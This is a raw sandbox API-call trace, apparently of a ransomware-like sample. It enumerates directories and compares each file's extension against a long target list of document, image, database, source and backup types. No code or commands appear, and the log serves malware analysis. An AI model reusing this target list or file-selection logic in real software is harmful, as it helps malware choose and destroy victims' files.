returned 5 [0096.561] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".phtml") returned 6 [0096.561] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.561] lstrlenW (lpString=".pict") returned 5 [0096.561] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".pl") returned 3 [0096.561] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.561] lstrlenW (lpString=".pls") returned 4 [0096.561] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".pm") returned 3 [0096.561] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.561] lstrlenW (lpString=".png") returned 4 [0096.561] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".pnm") returned 4 [0096.561] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".pot") returned 4 [0096.561] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".potm") returned 5 [0096.561] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".potx") returned 5 [0096.561] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".ppa") returned 4 [0096.561] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".ppam") returned 5 [0096.561] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".ppm") returned 4 [0096.561] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".pps") returned 4 [0096.561] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.561] lstrlenW (lpString=".ppsm") returned 5 [0096.561] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.561] lstrlenW (lpString=".ppt") returned 4 [0096.562] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".pptm") returned 5 [0096.562] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.562] lstrlenW (lpString=".pptx") returned 5 [0096.562] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.562] lstrlenW (lpString=".prn") returned 4 [0096.562] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".ps") returned 3 [0096.562] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.562] lstrlenW (lpString=".psb") returned 4 [0096.562] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".psd") returned 4 [0096.562] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".pst") returned 4 [0096.562] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".ptx") returned 4 [0096.562] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".pub") returned 4 [0096.562] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".pwm") returned 4 [0096.562] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".pxr") returned 4 [0096.562] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.562] lstrlenW (lpString=".py") returned 3 [0096.562] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.562] lstrlenW (lpString=".qt") returned 3 [0096.562] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.562] lstrlenW (lpString=".r3d") returned 4 [0096.563] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.563] lstrlenW (lpString=".raf") returned 4 [0096.563] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0096.563] lstrlenW (lpString=".rar") returned 4 [0096.563] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.563] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.563] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0096.563] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0096.563] FindClose (in: hFindFile=0x3e50180 | out: hFindFile=0x3e50180) returned 1 [0096.754] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0096.754] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0096.754] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0096.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26 [0096.755] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e502c0 [0096.756] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.756] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.756] lstrlenW (lpString="eula.rtf") returned 8 [0096.757] lstrlenW (lpString=".1cd") returned 4 [0096.757] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".3ds") returned 4 [0096.757] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".3fr") returned 4 [0096.757] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".3g2") returned 4 [0096.757] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".3gp") returned 4 [0096.757] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".7z") returned 3 [0096.757] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.757] lstrlenW (lpString=".accda") returned 6 [0096.757] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".accdb") returned 6 [0096.757] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".accdc") returned 6 [0096.757] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".accde") returned 6 [0096.757] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".accdt") returned 6 [0096.757] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".accdw") returned 6 [0096.757] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.757] lstrlenW (lpString=".adb") returned 4 [0096.757] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.757] lstrlenW (lpString=".adp") returned 4 [0096.757] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai") returned 3 [0096.758] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.758] lstrlenW (lpString=".ai3") returned 4 [0096.758] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai4") returned 4 [0096.758] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai5") returned 4 [0096.758] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai6") returned 4 [0096.758] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai7") returned 4 [0096.758] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ai8") returned 4 [0096.758] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".anim") returned 5 [0096.758] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.758] lstrlenW (lpString=".arw") returned 4 [0096.758] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".as") returned 3 [0096.758] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.758] lstrlenW (lpString=".asa") returned 4 [0096.758] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".asc") returned 4 [0096.758] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".ascx") returned 5 [0096.758] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.758] lstrlenW (lpString=".asm") returned 4 [0096.758] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.758] lstrlenW (lpString=".asmx") returned 5 [0096.758] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.758] lstrlenW (lpString=".asp") returned 4 [0096.759] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".aspx") returned 5 [0096.759] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.759] lstrlenW (lpString=".asr") returned 4 [0096.759] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".asx") returned 4 [0096.759] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".avi") returned 4 [0096.759] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".avs") returned 4 [0096.759] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".backup") returned 7 [0096.759] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.759] lstrlenW (lpString=".bak") returned 4 [0096.759] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".bay") returned 4 [0096.759] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".bd") returned 3 [0096.759] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.759] lstrlenW (lpString=".bin") returned 4 [0096.759] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".bmp") returned 4 [0096.759] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".bz2") returned 4 [0096.759] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".c") returned 2 [0096.759] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.759] lstrlenW (lpString=".cdr") returned 4 [0096.759] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".cer") returned 4 [0096.759] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.759] lstrlenW (lpString=".cf") returned 3 [0096.760] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.760] lstrlenW (lpString=".cfc") returned 4 [0096.760] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".cfm") returned 4 [0096.760] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".cfml") returned 5 [0096.760] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.760] lstrlenW (lpString=".cfu") returned 4 [0096.760] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".chm") returned 4 [0096.760] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".cin") returned 4 [0096.760] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".class") returned 6 [0096.760] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.760] lstrlenW (lpString=".clx") returned 4 [0096.760] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".config") returned 7 [0096.760] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.760] lstrlenW (lpString=".cpp") returned 4 [0096.760] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".cr2") returned 4 [0096.760] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".crt") returned 4 [0096.760] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".crw") returned 4 [0096.760] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.760] lstrlenW (lpString=".cs") returned 3 [0096.760] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.761] lstrlenW (lpString=".css") returned 4 [0096.761] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".csv") returned 4 [0096.761] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".cub") returned 4 [0096.761] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dae") returned 4 [0096.761] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dat") returned 4 [0096.761] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".db") returned 3 [0096.761] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.761] lstrlenW (lpString=".dbf") returned 4 [0096.761] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dbx") returned 4 [0096.761] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dc3") returned 4 [0096.761] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dcm") returned 4 [0096.761] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dcr") returned 4 [0096.761] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".der") returned 4 [0096.761] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dib") returned 4 [0096.761] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dic") returned 4 [0096.761] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".dif") returned 4 [0096.761] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.761] lstrlenW (lpString=".divx") returned 5 [0096.762] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".djvu") returned 5 [0096.762] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".dng") returned 4 [0096.762] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".doc") returned 4 [0096.762] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".docm") returned 5 [0096.762] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".docx") returned 5 [0096.762] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".dot") returned 4 [0096.762] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dotm") returned 5 [0096.762] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".dotx") returned 5 [0096.762] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.762] lstrlenW (lpString=".dpx") returned 4 [0096.762] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dqy") returned 4 [0096.762] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dsn") returned 4 [0096.762] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dt") returned 3 [0096.762] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.762] lstrlenW (lpString=".dtd") returned 4 [0096.762] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dwg") returned 4 [0096.762] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.762] lstrlenW (lpString=".dwt") returned 4 [0096.762] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".dx") returned 3 [0096.763] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.763] lstrlenW (lpString=".dxf") returned 4 [0096.763] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".edml") returned 5 [0096.763] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.763] lstrlenW (lpString=".efd") returned 4 [0096.763] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".elf") returned 4 [0096.763] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".emf") returned 4 [0096.763] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".emz") returned 4 [0096.763] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".epf") returned 4 [0096.763] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".eps") returned 4 [0096.763] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".epsf") returned 5 [0096.763] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.763] lstrlenW (lpString=".epsp") returned 5 [0096.763] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.763] lstrlenW (lpString=".erf") returned 4 [0096.763] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".exr") returned 4 [0096.763] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.763] lstrlenW (lpString=".f4v") returned 4 [0096.763] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".fido") returned 5 [0096.764] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.764] lstrlenW (lpString=".flm") returned 4 [0096.764] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".flv") returned 4 [0096.764] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".frm") returned 4 [0096.764] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".fxg") returned 4 [0096.764] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".geo") returned 4 [0096.764] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".gif") returned 4 [0096.764] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".grs") returned 4 [0096.764] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".gz") returned 3 [0096.764] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.764] lstrlenW (lpString=".h") returned 2 [0096.764] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.764] lstrlenW (lpString=".hdr") returned 4 [0096.764] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".hpp") returned 4 [0096.764] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".hta") returned 4 [0096.764] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.764] lstrlenW (lpString=".htc") returned 4 [0096.764] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".htm") returned 4 [0096.765] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".html") returned 5 [0096.765] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.765] lstrlenW (lpString=".icb") returned 4 [0096.765] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".ics") returned 4 [0096.765] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".iff") returned 4 [0096.765] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".inc") returned 4 [0096.765] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".indd") returned 5 [0096.765] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.765] lstrlenW (lpString=".ini") returned 4 [0096.765] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".iqy") returned 4 [0096.765] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".j2c") returned 4 [0096.765] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".j2k") returned 4 [0096.765] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".java") returned 5 [0096.765] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.765] lstrlenW (lpString=".jp2") returned 4 [0096.765] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.765] lstrlenW (lpString=".jpc") returned 4 [0096.765] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".jpe") returned 4 [0096.766] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".jpeg") returned 5 [0096.766] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.766] lstrlenW (lpString=".jpf") returned 4 [0096.766] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".jpg") returned 4 [0096.766] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".jpx") returned 4 [0096.766] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".js") returned 3 [0096.766] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.766] lstrlenW (lpString=".jsf") returned 4 [0096.766] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".json") returned 5 [0096.766] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.766] lstrlenW (lpString=".jsp") returned 4 [0096.766] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".kdc") returned 4 [0096.766] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".kmz") returned 4 [0096.766] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".kwm") returned 4 [0096.766] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".lasso") returned 6 [0096.766] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.766] lstrlenW (lpString=".lbi") returned 4 [0096.766] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".lgf") returned 4 [0096.766] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.766] lstrlenW (lpString=".lgp") returned 4 [0096.766] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".log") returned 4 [0096.767] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".m1v") returned 4 [0096.767] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".m4a") returned 4 [0096.767] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".m4v") returned 4 [0096.767] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".max") returned 4 [0096.767] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".md") returned 3 [0096.767] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.767] lstrlenW (lpString=".mda") returned 4 [0096.767] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.767] lstrlenW (lpString=".mdb") returned 4 [0096.767] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 